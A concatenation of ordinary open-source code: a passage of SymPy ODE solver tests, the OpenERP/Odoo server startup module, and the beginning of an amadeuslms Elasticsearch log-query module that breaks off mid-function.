log(x)**2/2 sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq, f(x)) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(x**2*diff(f(x), x, x) - 2*x*diff(f(x), x) + 2*f(x), x**3) sol = x*(C1 + C2*x + Rational(1, 2)*x**2) sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq, f(x)) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(x**2*diff(f(x), x, x) - x*diff(f(x), x) - 3*f(x), log(x)/x) sol = C1/x + C2*x**3 - Rational(1, 16)*log(x)/x - Rational(1, 8)*log(x)**2/x sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq, f(x)) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(x**2*diff(f(x), x, x) + 3*x*diff(f(x), x) - 8*f(x), log(x)**3 - log(x)) sol = C1/x**4 + C2*x**2 - Rational(1,8)*log(x)**3 - Rational(3,32)*log(x)**2 - Rational(1,64)*log(x) - Rational(7, 256) sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(x**3*diff(f(x), x, x, x) - 3*x**2*diff(f(x), x, x) + 6*x*diff(f(x), x) - 6*f(x), log(x)) sol = C1*x + C2*x**2 + C3*x**3 - Rational(1, 6)*log(x) - Rational(11, 36) sols = constant_renumber(sol, 'C', 1, 3) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] def test_nth_order_linear_euler_eq_nonhomogeneous_variation_of_parameters(): x, t = symbols('x, t') a, b, c, d = symbols('a, b, c, d', integer=True) our_hint = "nth_linear_euler_eq_nonhomogeneous_variation_of_parameters" eq = Eq(x**2*diff(f(x),x,2) - 8*x*diff(f(x),x) + 12*f(x), x**2) assert our_hint in classify_ode(eq, f(x)) eq = Eq(a*x**3*diff(f(x),x,3) + b*x**2*diff(f(x),x,2) + c*x*diff(f(x),x) + d*f(x), x*log(x)) assert our_hint in classify_ode(eq, f(x)) eq = Eq(x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x), x**4) sol = C1*x + C2*x**2 + x**4/6 sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(3*x**2*diff(f(x), x, x) + 6*x*diff(f(x), x) - 6*f(x), x**3*exp(x)) sol = C1/x**2 + C2*x + x*exp(x)/3 - 4*exp(x)/3 + 8*exp(x)/(3*x) - 8*exp(x)/(3*x**2) sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = Eq(x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x), x**4*exp(x)) sol = C1*x + C2*x**2 + x**2*exp(x) - 2*x*exp(x) sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs.expand() in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] eq = x**2*Derivative(f(x), x, x) - 2*x*Derivative(f(x), x) + 2*f(x) - log(x) sol = C1*x + C2*x**2 + log(x)/2 + 3/4 sols = constant_renumber(sol, 'C', 1, 2) assert our_hint in classify_ode(eq) assert dsolve(eq, f(x), hint=our_hint).rhs in (sol, sols) assert checkodesol(eq, sol, order=2, solve_for_func=False)[0] def test_issue_5095(): f = Function('f') raises(ValueError, lambda: dsolve(f(x).diff(x)**2, f(x), 'separable')) raises(ValueError, lambda: dsolve(f(x).diff(x)**2, f(x), 'fdsjf')) def test_almost_linear(): from sympy import Ei A = Symbol('A', positive=True) our_hint = 'almost_linear' f = Function('f') d = f(x).diff(x) eq = x**2*f(x)**2*d + f(x)**3 + 1 sol = dsolve(eq, f(x), hint = 'almost_linear') assert sol[0].rhs == (C1*exp(3/x) - 1)**(S(1)/3) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] eq = x*f(x)*d + 2*x*f(x)**2 + 1 sol = dsolve(eq, f(x), hint = 'almost_linear') assert sol[0].rhs == -sqrt(C1 - 2*Ei(4*x))*exp(-2*x) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] eq = x*d + x*f(x) + 1 sol = dsolve(eq, f(x), hint = 'almost_linear') assert sol.rhs == (C1 - Ei(x))*exp(-x) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] assert our_hint in classify_ode(eq, f(x)) eq = x*exp(f(x))*d + exp(f(x)) + 3*x sol = dsolve(eq, f(x), hint = 'almost_linear') assert sol.rhs == log(C1/x - 3*x/2) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] eq = x + A*(x + diff(f(x), x) + f(x)) + diff(f(x), x) + f(x) + 2 sol = dsolve(eq, f(x), hint = 'almost_linear') assert sol.rhs == (C1 + Piecewise( (x, Eq(A + 1, 0)), ((-A*x + A - x - 1)*exp(x)/(A + 1), True)))*exp(-x) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_exact_enhancement(): f = Function('f')(x) df = Derivative(f, x) eq = f/x**2 + ((f*x - 1)/x)*df sol = dsolve(eq, f) assert sol == [Eq(f, (i*sqrt(C1*x**2 + 1) + 1)/x) for i in (-1, 1)] eq = (x*f - 1) + df*(x**2 - x*f) rhs = [sol.rhs for sol in dsolve(eq, f)] assert rhs[0] == x - sqrt(C1 + x**2 - 2*log(x)) assert rhs[1] == x + sqrt(C1 + x**2 - 2*log(x)) eq = (x + 2)*sin(f) + df*x*cos(f) rhs = [sol.rhs for sol in dsolve(eq, f)] assert rhs == [ -acos(-sqrt(C1*exp(-2*x)/x**4 + 1)) + 2*pi, -acos(sqrt(C1*exp(-2*x)/x**4 + 1)) + 2*pi, acos(-sqrt(C1*exp(-2*x)/x**4 + 1)), acos(sqrt(C1*exp(-2*x)/x**4 + 1))] def test_separable_reduced(): f = Function('f') x = Symbol('x') # BUG: if x is real, a more complex solution is returned! df = f(x).diff(x) eq = (x / f(x))*df + tan(x**2*f(x) / (x**2*f(x) - 1)) assert classify_ode(eq) == ('separable_reduced', 'lie_group', 'separable_reduced_Integral') eq = x* df + f(x)* (1 / (x**2*f(x) - 1)) assert classify_ode(eq) == ('separable_reduced', 'lie_group', 'separable_reduced_Integral') sol = dsolve(eq, hint = 'separable_reduced', simplify=False) assert sol.lhs == log(x**2*f(x))/3 + log(x**2*f(x) - S(3)/2)/6 assert sol.rhs == C1 + log(x) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] # this is the equation that does not like x to be real eq = f(x).diff(x) + (f(x) / (x**4*f(x) - x)) assert classify_ode(eq) == ('separable_reduced', 'lie_group', 'separable_reduced_Integral') # generates PolynomialError in solve attempt sol = dsolve(eq, hint = 'separable_reduced') assert sol.lhs - sol.rhs == \ log(x**3*f(x))/4 + log(x**3*f(x) - S(4)/3)/12 - C1 - log(x) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] eq = x*df + f(x)*(x**2*f(x)) sol = dsolve(eq, hint = 'separable_reduced', simplify=False) assert sol == Eq(log(x**2*f(x))/2 - log(x**2*f(x) - 2)/2, C1 + log(x)) assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_homogeneous_function(): f = Function('f') eq1 = tan(x + f(x)) eq2 = sin((3*x)/(4*f(x))) eq3 = cos(3*x/4*f(x)) eq4 = log((3*x + 4*f(x))/(5*f(x) + 7*x)) eq5 = exp((2*x**2)/(3*f(x)**2)) eq6 = log((3*x + 4*f(x))/(5*f(x) + 7*x) + exp((2*x**2)/(3*f(x)**2))) eq7 = sin((3*x)/(5*f(x) + x**2)) assert homogeneous_order(eq1, x, f(x)) == None assert homogeneous_order(eq2, x, f(x)) == 0 assert homogeneous_order(eq3, x, f(x)) == None assert homogeneous_order(eq4, x, f(x)) == 0 assert homogeneous_order(eq5, x, f(x)) == 0 assert homogeneous_order(eq6, x, f(x)) == 0 assert homogeneous_order(eq7, x, f(x)) == None def test_linear_coeff_match(): from sympy.solvers.ode import _linear_coeff_match n, d = z*(2*x + 3*f(x) + 5), z*(7*x + 9*f(x) + 11) rat = n/d eq1 = sin(rat) + cos(rat.expand()) eq2 = rat eq3 = log(sin(rat)) ans = (4, -S(13)/3) assert _linear_coeff_match(eq1, f(x)) == ans assert _linear_coeff_match(eq2, f(x)) == ans assert _linear_coeff_match(eq3, f(x)) == ans # no c eq4 = (3*x)/f(x) # not x and f(x) eq5 = (3*x + 2)/x # denom will be zero eq6 = (3*x + 2*f(x) + 1)/(3*x + 2*f(x) + 5) # not rational coefficient eq7 = (3*x + 2*f(x) + sqrt(2))/(3*x + 2*f(x) + 5) assert _linear_coeff_match(eq4, f(x)) is None assert _linear_coeff_match(eq5, f(x)) is None assert _linear_coeff_match(eq6, f(x)) is None assert _linear_coeff_match(eq7, f(x)) is None def test_linear_coefficients(): f = Function('f') sol = Eq(f(x), C1/(x**2 + 6*x + 9) - S(3)/2) eq = f(x).diff(x) + (3 + 2*f(x))/(x + 3) assert dsolve(eq, hint='linear_coefficients') == sol assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_constantsimp_take_problem(): c = exp(C1) + 2 assert len(Poly(constantsimp(exp(C1) + c + c*x, [C1])).gens) == 2 def test_issue_6879(): f = Function('f') eq = Eq(Derivative(f(x), x, 2) - 2*Derivative(f(x), x) + f(x), sin(x)) sol = (C1 + C2*x)*exp(x) + cos(x)/2 assert dsolve(eq).rhs == sol assert checkodesol(eq, sol, order=1, solve_for_func=False)[0] def test_issue_6989(): f = Function('f') k = Symbol('k') assert dsolve(f(x).diff(x) - x*exp(-k*x), f(x)) == \ Eq(f(x), C1 + Piecewise( (x**2/2, Eq(k**3, 0)), ((-k**2*x - k)*exp(-k*x)/k**3, True) )) eq = -f(x).diff(x) + x*exp(-k*x) sol = dsolve(eq, f(x)) actual_sol = Eq(f(x), Piecewise((C1 + x**2/2, Eq(k**3, 0)), (C1 - x*exp(-k*x)/k - exp(-k*x)/k**2, True) )) errstr = str(eq) + ' : ' + str(sol) + ' == ' + str(actual_sol) assert sol == actual_sol, errstr def test_heuristic1(): y, a, b, c, a4, a3, a2, a1, a0 = symbols("y a b c a4 a3 a2 a1 a0") y = Symbol('y') f = Function('f') xi = Function('xi') eta = Function('eta') df = f(x).diff(x) eq = Eq(df, x**2*f(x)) eq1 = f(x).diff(x) + a*f(x) - c*exp(b*x) eq2 = f(x).diff(x) + 2*x*f(x) - x*exp(-x**2) eq3 = (1 + 2*x)*df + 2 - 4*exp(-f(x)) eq4 = f(x).diff(x) - (a4*x**4 + a3*x**3 + a2*x**2 + a1*x + a0)**(S(-1)/2) eq5 = x**2*df - f(x) + x**2*exp(x - (1/x)) eqlist = [eq, eq1, eq2, eq3, eq4, eq5] i = infinitesimals(eq, hint='abaco1_simple') assert i == [{eta(x, f(x)): exp(x**3/3), xi(x, f(x)): 0}, {eta(x, f(x)): f(x), xi(x, f(x)): 0}, {eta(x, f(x)): 0, xi(x, f(x)): x**(-2)}] i1 = infinitesimals(eq1, hint='abaco1_simple') assert i1 == [{eta(x, f(x)): exp(-a*x), xi(x, f(x)): 0}] i2 = infinitesimals(eq2, hint='abaco1_simple') assert i2 == [{eta(x, f(x)): exp(-x**2), xi(x, f(x)): 0}] i3 = infinitesimals(eq3, hint='abaco1_simple') assert i3 == [{eta(x, f(x)): 0, xi(x, f(x)): 2*x + 1}, {eta(x, f(x)): 0, xi(x, f(x)): 1/(exp(f(x)) - 2)}] i4 = infinitesimals(eq4, hint='abaco1_simple') assert i4 == [{eta(x, f(x)): 1, xi(x, f(x)): 0}, {eta(x, f(x)): 0, xi(x, f(x)): sqrt(2*a0 + 2*a1*x + 2*a2*x**2 + 2*a3*x**3 + 2*a4*x**4)}] i5 = infinitesimals(eq5, hint='abaco1_simple') assert i5 == [{xi(x, f(x)): 0, eta(x, f(x)): exp(-1/x)}] ilist = [i, i1, i2, i3, i4, i5] for eq, i in (zip(eqlist, ilist)): check = checkinfsol(eq, i) assert check[0] def test_issue_6247(): eq = x**2*f(x)**2 + x*Derivative(f(x), x) sol = dsolve(eq, hint = 'separable_reduced') assert checkodesol(eq, sol, order=1)[0] eq = f(x).diff(x, x) + 4*f(x) sol = dsolve(eq, f(x), simplify=False) assert sol == Eq(f(x), C1*sin(2*x) + C2*cos(2*x)) def test_heuristic2(): y = Symbol('y') xi = Function('xi') eta = Function('eta') df = f(x).diff(x) # This ODE can be solved by the Lie Group method, when there are # better assumptions eq = df - (f(x)/x)*(x*log(x**2/f(x)) + 2) i = infinitesimals(eq, hint='abaco1_product') assert i == [{eta(x, f(x)): f(x)*exp(-x), xi(x, f(x)): 0}] assert checkinfsol(eq, i)[0] @slow def test_heuristic3(): y = Symbol('y') xi = Function('xi') eta = Function('eta') a, b = symbols("a b") df = f(x).diff(x) eq = x**2*df + x*f(x) + f(x)**2 + x**2 i = infinitesimals(eq, hint='bivariate') assert i == [{eta(x, f(x)): f(x), xi(x, f(x)): x}] assert checkinfsol(eq, i)[0] eq = x**2*(-f(x)**2 + df)- a*x**2*f(x) + 2 - a*x i = infinitesimals(eq, hint='bivariate') assert checkinfsol(eq, i)[0] def test_heuristic_4(): y, a = symbols("y a") xi = Function('xi') eta = Function('eta') eq = x*(f(x).diff(x)) + 1 - f(x)**2 i = infinitesimals(eq, hint='chi') assert checkinfsol(eq, i)[0] def test_heuristic_function_sum(): xi = Function('xi') eta = Function('eta') eq = f(x).diff(x) - (3*(1 + x**2/f(x)**2)*atan(f(x)/x) + (1 - 2*f(x))/x + (1 - 3*f(x))*(x/f(x)**2)) i = infinitesimals(eq, hint='function_sum') assert i == [{eta(x, f(x)): f(x)**(-2) + x**(-2), xi(x, f(x)): 0}] assert checkinfsol(eq, i)[0] def test_heuristic_abaco2_similar(): xi = Function('xi') eta = Function('eta') F = Function('F') a, b = symbols("a b") eq = f(x).diff(x) - F(a*x + b*f(x)) i = infinitesimals(eq, hint='abaco2_similar') assert i == [{eta(x, f(x)): -a/b, xi(x, f(x)): 1}] assert checkinfsol(eq, i)[0] eq = f(x).diff(x) - (f(x)**2 / (sin(f(x) - x) - x**2 + 2*x*f(x))) i = infinitesimals(eq, hint='abaco2_similar') assert i == [{eta(x, f(x)): f(x)**2, xi(x, f(x)): f(x)**2}] assert checkinfsol(eq, i)[0] def test_heuristic_abaco2_unique_unknown(): xi = Function('xi') eta = Function('eta') F = Function('F') a, b = symbols("a b") x = Symbol("x", positive=True) eq = f(x).diff(x) - x**(a - 1)*(f(x)**(1 - b))*F(x**a/a + f(x)**b/b) i = infinitesimals(eq, hint='abaco2_unique_unknown') assert i == [{eta(x, f(x)): -f(x)*f(x)**(-b), xi(x, f(x)): x*x**(-a)}] assert checkinfsol(eq, i)[0] eq = f(x).diff(x) + tan(F(x**2 + f(x)**2) + atan(x/f(x))) i = infinitesimals(eq, hint='abaco2_unique_unknown') assert i == [{eta(x, f(x)): x, xi(x, f(x)): -f(x)}] assert checkinfsol(eq, i)[0] eq = (x*f(x).diff(x) + f(x) + 2*x)**2 -4*x*f(x) -4*x**2 -4*a i = infinitesimals(eq, hint='abaco2_unique_unknown') assert checkinfsol(eq, i)[0] def test_heuristic_linear(): xi = Function('xi') eta = Function('eta') F = Function('F') a, b, m, n = symbols("a b m n") eq = x**(n*(m + 1) - m)*(f(x).diff(x)) - a*f(x)**n -b*x**(n*(m + 1)) i = infinitesimals(eq, hint='linear') assert checkinfsol(eq, i)[0] @XFAIL def test_kamke(): a, b, alpha, c = symbols("a b alpha c") eq = x**2*(a*f(x)**2+(f(x).diff(x))) + b*x**alpha + c i = infinitesimals(eq, hint='sum_function') assert checkinfsol(eq, i)[0] def test_series(): C1 = Symbol("C1") eq = f(x).diff(x) - f(x) assert dsolve(eq, hint='1st_power_series') == Eq(f(x), C1 + C1*x + C1*x**2/2 + C1*x**3/6 + C1*x**4/24 + C1*x**5/120 + O(x**6)) eq = f(x).diff(x) - x*f(x) assert dsolve(eq, hint='1st_power_series') == Eq(f(x), C1*x**4/8 + C1*x**2/2 + C1 + O(x**6)) eq = f(x).diff(x) - sin(x*f(x)) sol = Eq(f(x), (x - 2)**2*(1+ sin(4))*cos(4) + (x - 2)*sin(4) + 2 + O(x**3)) assert dsolve(eq, hint='1st_power_series', ics={f(2): 2}, n=3) == sol @slow def test_lie_group(): C1 = Symbol("C1") x = Symbol("x") # assuming x is real generates an error! a, b, c = symbols("a b c") eq = f(x).diff(x)**2 sol = dsolve(eq, f(x), hint='lie_group') assert checkodesol(eq, sol)[0] eq = Eq(f(x).diff(x), x**2*f(x)) sol = dsolve(eq, f(x), hint='lie_group') assert sol == Eq(f(x), C1*exp(x**3)**(1/3)) assert checkodesol(eq, sol)[0] eq = f(x).diff(x) + a*f(x) - c*exp(b*x) sol = dsolve(eq, f(x), hint='lie_group') assert checkodesol(eq, sol)[0] eq = f(x).diff(x) + 2*x*f(x) - x*exp(-x**2) sol = dsolve(eq, f(x), hint='lie_group') actual_sol = Eq(f(x), (C1 + x**2/2)*exp(-x**2)) errstr = str(eq)+' : '+str(sol)+' == '+str(actual_sol) assert sol == actual_sol, errstr assert checkodesol(eq, sol)[0] eq = (1 + 2*x)*(f(x).diff(x)) + 2 - 4*exp(-f(x)) sol = dsolve(eq, f(x), hint='lie_group') assert sol == Eq(f(x), log(C1/(2*x + 1) + 2)) assert checkodesol(eq, sol)[0] eq = x**2*(f(x).diff(x)) - f(x) + x**2*exp(x - (1/x)) sol = dsolve(eq, f(x), hint='lie_group') assert checkodesol(eq, sol)[0] eq = x**2*f(x)**2 + x*Derivative(f(x), x) sol = dsolve(eq, f(x), hint='lie_group') assert sol == Eq(f(x), 2/(C1 + x**2)) assert checkodesol(eq, sol)[0] def test_user_infinitesimals(): C2 = Symbol("C2") x = Symbol("x") # assuming x is real generates an error eq = x*(f(x).diff(x)) + 1 - f(x)**2 sol = dsolve(eq, hint='lie_group', xi=sqrt(f(x) - 1)/sqrt(f(x) + 1), eta=0) actual_sol = Eq(f(x), (C1 + x**2)/(C1 - x**2)) errstr = str(eq)+' : '+str(sol)+' == '+str(actual_sol) assert sol == actual_sol, errstr raises(ValueError, lambda: dsolve(eq, hint='lie_group', xi=0, eta=f(x))) def test_issue_7081(): eq = x*(f(x).diff(x)) + 1 - f(x)**2 assert dsolve(eq) == Eq(f(x), -((C1 + x**2)/(-C1 + x**2))) def test_2nd_power_series_ordinary(): C1, C2 = symbols("C1 C2") eq = f(x).diff(x, 2) - x*f(x) assert classify_ode(eq) == ('2nd_power_series_ordinary',) assert dsolve(eq) == Eq(f(x), C2*(x**3/6 + 1) + C1*x*(x**3/12 + 1) + O(x**6)) assert dsolve(eq, x0=-2) == Eq(f(x), C2*((x + 2)**4/6 + (x + 2)**3/6 - (x + 2)**2 + 1) + C1*(x + (x + 2)**4/12 - (x + 2)**3/3 + S(2)) + O(x**6)) assert dsolve(eq, n=2) == Eq(f(x), C2*x + C1 + O(x**2)) eq = (1 + x**2)*(f(x).diff(x, 2)) + 2*x*(f(x).diff(x)) -2*f(x) assert classify_ode(eq) == ('2nd_power_series_ordinary',) assert dsolve(eq) == Eq(f(x), C2*(-x**4/3 + x**2 + 1) + C1*x + O(x**6)) eq = f(x).diff(x, 2) + x*(f(x).diff(x)) + f(x) assert classify_ode(eq) == ('2nd_power_series_ordinary',) assert dsolve(eq) == Eq(f(x), C2*( x**4/8 - x**2/2 + 1) + C1*x*(-x**2/3 + 1) + O(x**6)) eq = f(x).diff(x, 2) + f(x).diff(x) - x*f(x) assert classify_ode(eq) == ('2nd_power_series_ordinary',) assert dsolve(eq) == Eq(f(x), C2*( -x**4/24 + x**3/6 + 1) + C1*x*(x**3/24 + x**2/6 - x/2 + 1) + O(x**6)) eq = f(x).diff(x, 2) + x*f(x) assert classify_ode(eq) == ('2nd_power_series_ordinary',) assert dsolve(eq, n=7) == Eq(f(x), C2*( x**6/180 - x**3/6 + 1) + C1*x*(-x**3/12 + 1) + O(x**7)) def test_2nd_power_series_regular(): C1, C2 = symbols("C1 C2") eq = x**2*(f(x).diff(x, 2)) - 3*x*(f(x).diff(x)) + (4*x + 4)*f(x) assert dsolve(eq) == Eq(f(x), C1*x**2*(-16*x**3/9 + 4*x**2 - 4*x + 1) + O(x**6)) eq = 4*x**2*(f(x).diff(x, 2)) -8*x**2*(f(x).diff(x)) + (4*x**2 + 1)*f(x) assert dsolve(eq) == Eq(f(x), C1*sqrt(x)*( x**4/24 + x**3/6 + x**2/2 + x + 1) + O(x**6)) eq = x**2*(f(x).diff(x, 2)) - x**2*(f(x).diff(x)) + ( x**2 - 2)*f(x) assert dsolve(eq) == Eq(f(x), C1*(-x**6/720 - 3*x**5/80 - x**4/8 + x**2/2 + x/2 + 1)/x + C2*x**2*(-x**3/60 + x**2/20 + x/2 + 1) + O(x**6)) eq = x**2*(f(x).diff(x, 2)) + x*(f(x).diff(x)) + (x**2 - S(1)/4)*f(x) assert dsolve(eq) == Eq(f(x), C1*(x**4/24 - x**2/2 + 1)/sqrt(x) + C2*sqrt(x)*(x**4/120 - x**2/6 + 1) + O(x**6)) eq = x*(f(x).diff(x, 2)) - f(x).diff(x) + 4*x**3*f(x) assert dsolve(eq) == Eq(f(x), C2*(-x**4/2 + 1) + C1*x**2 + O(x**6)) def test_issue_7093(): x = Symbol("x") # assuming x is real leads to an error sol = Eq(f(x), C1 - 2*x*sqrt(x**3)/5) eq = Derivative(f(x), x)**2 - x**3 assert dsolve(eq) == sol and checkodesol(eq, sol) == (True, 0) def test_dsolve_linsystem_symbol(): eps = Symbol('epsilon', positive=True) eq1 = (Eq(diff(f(x), x), -eps*g(x)), Eq(diff(g(x), x), eps*f(x))) sol1 = [Eq(f(x), -eps*(C1*sin(eps*x) + C2*cos(eps*x))), Eq(g(x), C1*eps*cos(eps*x) - C2*eps*sin(eps*x))] assert dsolve(eq1) == sol1
bsd-3-clause
feigames/Odoo
openerp/cli/server.py
79
5605
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2009 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # ############################################################################## """ OpenERP - Server OpenERP is an ERP+CRM program for small and medium businesses. The whole source code is distributed under the terms of the GNU Public Licence. (c) 2003-TODAY, Fabien Pinckaers - OpenERP SA """ import atexit import logging import os import signal import sys import threading import traceback import time import openerp from . import Command __author__ = openerp.release.author __version__ = openerp.release.version # Also use the `openerp` logger for the main script. _logger = logging.getLogger('openerp') def check_root_user(): """ Exit if the process's user is 'root' (on POSIX system).""" if os.name == 'posix': import pwd if pwd.getpwuid(os.getuid())[0] == 'root' : sys.stderr.write("Running as user 'root' is a security risk, aborting.\n") sys.exit(1) def check_postgres_user(): """ Exit if the configured database user is 'postgres'. This function assumes the configuration has been initialized. """ config = openerp.tools.config if config['db_user'] == 'postgres': sys.stderr.write("Using the database user 'postgres' is a security risk, aborting.") sys.exit(1) def report_configuration(): """ Log the server version and some configuration values. This function assumes the configuration has been initialized. """ config = openerp.tools.config _logger.info("OpenERP version %s", __version__) for name, value in [('addons paths', openerp.modules.module.ad_paths), ('database hostname', config['db_host'] or 'localhost'), ('database port', config['db_port'] or '5432'), ('database user', config['db_user'])]: _logger.info("%s: %s", name, value) def rm_pid_file(): config = openerp.tools.config if not openerp.evented and config['pidfile']: try: os.unlink(config['pidfile']) except OSError: pass def setup_pid_file(): """ Create a file with the process id written in it. This function assumes the configuration has been initialized. """ config = openerp.tools.config if not openerp.evented and config['pidfile']: with open(config['pidfile'], 'w') as fd: pidtext = "%d" % (os.getpid()) fd.write(pidtext) atexit.register(rm_pid_file) def export_translation(): config = openerp.tools.config dbname = config['db_name'] if config["language"]: msg = "language %s" % (config["language"],) else: msg = "new language" _logger.info('writing translation file for %s to %s', msg, config["translate_out"]) fileformat = os.path.splitext(config["translate_out"])[-1][1:].lower() with open(config["translate_out"], "w") as buf: registry = openerp.modules.registry.RegistryManager.new(dbname) with openerp.api.Environment.manage(): with registry.cursor() as cr: openerp.tools.trans_export(config["language"], config["translate_modules"] or ["all"], buf, fileformat, cr) _logger.info('translation file written successfully') def import_translation(): config = openerp.tools.config context = {'overwrite': config["overwrite_existing_translations"]} dbname = config['db_name'] registry = openerp.modules.registry.RegistryManager.new(dbname) with openerp.api.Environment.manage(): with registry.cursor() as cr: openerp.tools.trans_load( cr, config["translate_in"], config["language"], context=context, ) def main(args): check_root_user() openerp.tools.config.parse_config(args) check_postgres_user() report_configuration() config = openerp.tools.config if config["test_file"]: config["test_enable"] = True if config["translate_out"]: export_translation() sys.exit(0) if config["translate_in"]: import_translation() sys.exit(0) # This needs to be done now to ensure the use of the multiprocessing # signaling mecanism for registries loaded with -d if config['workers']: openerp.multi_process = True preload = [] if config['db_name']: preload = config['db_name'].split(',') stop = config["stop_after_init"] setup_pid_file() rc = openerp.service.server.start(preload=preload, stop=stop) sys.exit(rc) class Server(Command): """Start the odoo server (default command)""" def run(self, args): main(args) # vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
agpl-3.0
amadeusproject/amadeuslms
log/search.py
1
20242
from elasticsearch_dsl.connections import connections from elasticsearch_dsl import ( Q, DocType, Text, Date, Integer, Long, Object, Search, MultiSearch, A ) from elasticsearch.helpers import bulk from elasticsearch import Elasticsearch from datetime import datetime, timedelta from django.utils import formats, timezone from elastic.models import ElasticSearchSettings from . import models try: config = ElasticSearchSettings.objects.get() except Exception: config = None if config: conn = connections.create_connection(hosts=[config.host], timeout=60) else: conn = "" class LogIndex(DocType): component = Text() action = Text() resource = Text() user = Text() user_id = Long() datetime = Date() context = Object() class Index: name = "log-index" def bulk_indexing(): LogIndex.init() es = Elasticsearch() logs = models.Log.objects.filter( datetime__date__gte=timezone.now() - timedelta(hours=7 * 24 + 3), datetime__date__lt=timezone.now() - timedelta(hours=3), ).all() bulk(client=es, actions=(b.indexing() for b in logs.iterator())) def count_logs(resources, userid=0): s = Search().extra(size=0) conds = [] for res in resources: conds.append(Q("match", **{"context__" + res._my_subclass + "_id": res.id})) if userid != 0: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q("bool", should=conds), Q("match", user_id=userid), ], ) else: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q("bool", should=conds), ], ) return s[0:10000] def count_logs_period(resources, data_ini, data_end, userid=0): s = Search().extra(size=0) conds = [] for res in resources: conds.append(Q("match", **{"context__" + res._my_subclass + "_id": res.id})) if userid != 0: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q("bool", should=conds), Q("match", user_id=userid), ], ) else: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": data_ini, "lte": data_end}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q("bool", should=conds), ], ) return s[0:10000] def resource_accessess(resource, userid=0): s = Search().extra(size=0) if userid != 0: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q( "match", **{"context__" + resource._my_subclass + "_id": resource.id} ), Q("match", user_id=userid), ], ) else: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": "now-7d", "lte": "now"}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q( "match", **{"context__" + resource._my_subclass + "_id": resource.id} ), ], ) return s[0:10000] def resource_accessess_period(resource, dataIni, dataEnd, userid=0): s = Search().extra(size=0) if userid != 0: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": dataIni, "lte": dataEnd}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q( "match", **{"context__" + resource._my_subclass + "_id": resource.id} ), Q("match", user_id=userid), ], ) else: s = s.query( "bool", must=[ Q( "range", datetime={"time_zone": "-03:00", "gte": dataIni, "lte": dataEnd}, ), Q("match", component="resources"), Q( "bool", should=[Q("match", action="access"), Q("match", action="view")], ), Q( "match", **{"context__" + resource._my_subclass + "_id": resource.id} ), ], ) return s[0:10000] def user_last_interaction(userid): s = Search().extra(size=1) s = s.query("match", user_id=userid).sort("-datetime") return s def count_access_subject(subject, 